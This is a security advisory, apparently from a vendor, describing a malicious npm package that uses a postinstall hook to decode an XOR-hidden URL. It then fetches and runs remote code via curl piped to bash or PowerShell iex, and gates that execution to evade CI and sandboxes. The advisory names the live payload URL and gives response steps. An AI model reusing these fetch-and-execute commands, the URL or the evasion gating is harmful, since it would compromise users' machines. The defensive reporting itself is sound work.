@stellarshift/chain-metadatanpm
@stellarshift/chain-metadata is a confirmed malicious npm package (MAL-2026-15822) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @stellarshift/chain-metadata (npm)
What this malware does
The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in endpoint-registry.json and decoded at runtime by config-resolver.js (encoding tag ss-xor-v1, decoder segments[i] ^ key.charCodeAt(i % key.length) ^ ((i*7+13) & 0xff)). The decoded destination is https://mexc-1258433570.cos.ap-beijing.myqcloud.com/abi-tool-damon, an anonymous Tencent Cloud COS bucket unrelated to the package's stated publisher. On Unix the fetched content is piped to bash (curl -fsSL... | bash); on Windows it is executed via PowerShell iex (iwr -UseBasicParsing -Uri $uri).Content, with detached/hidden process flags. Execution is gated by dev-profile.js: it short-circuits when common CI environment variables are present and only proceeds on darwin/win32 hosts where both a Lark or Feishu client AND FortiClient VPN are installed, restricting the payload to specific corporate developer workstations and evading sandbox/CI observation. The README simultaneously advertises No network calls — safe for CI and air-gapped builds and Zero runtime dependencies, directly contradicting the shipped install-time network fetch and shell execution.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @stellarshift/chain-metadata (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @stellarshift/chain-metadata across your stack and pipelines.
If you installed it — respond
@stellarshift/chain-metadata is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @stellarshift/chain-metadata was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @stellarshift/chain-metadata before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @stellarshift/chain-metadata-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.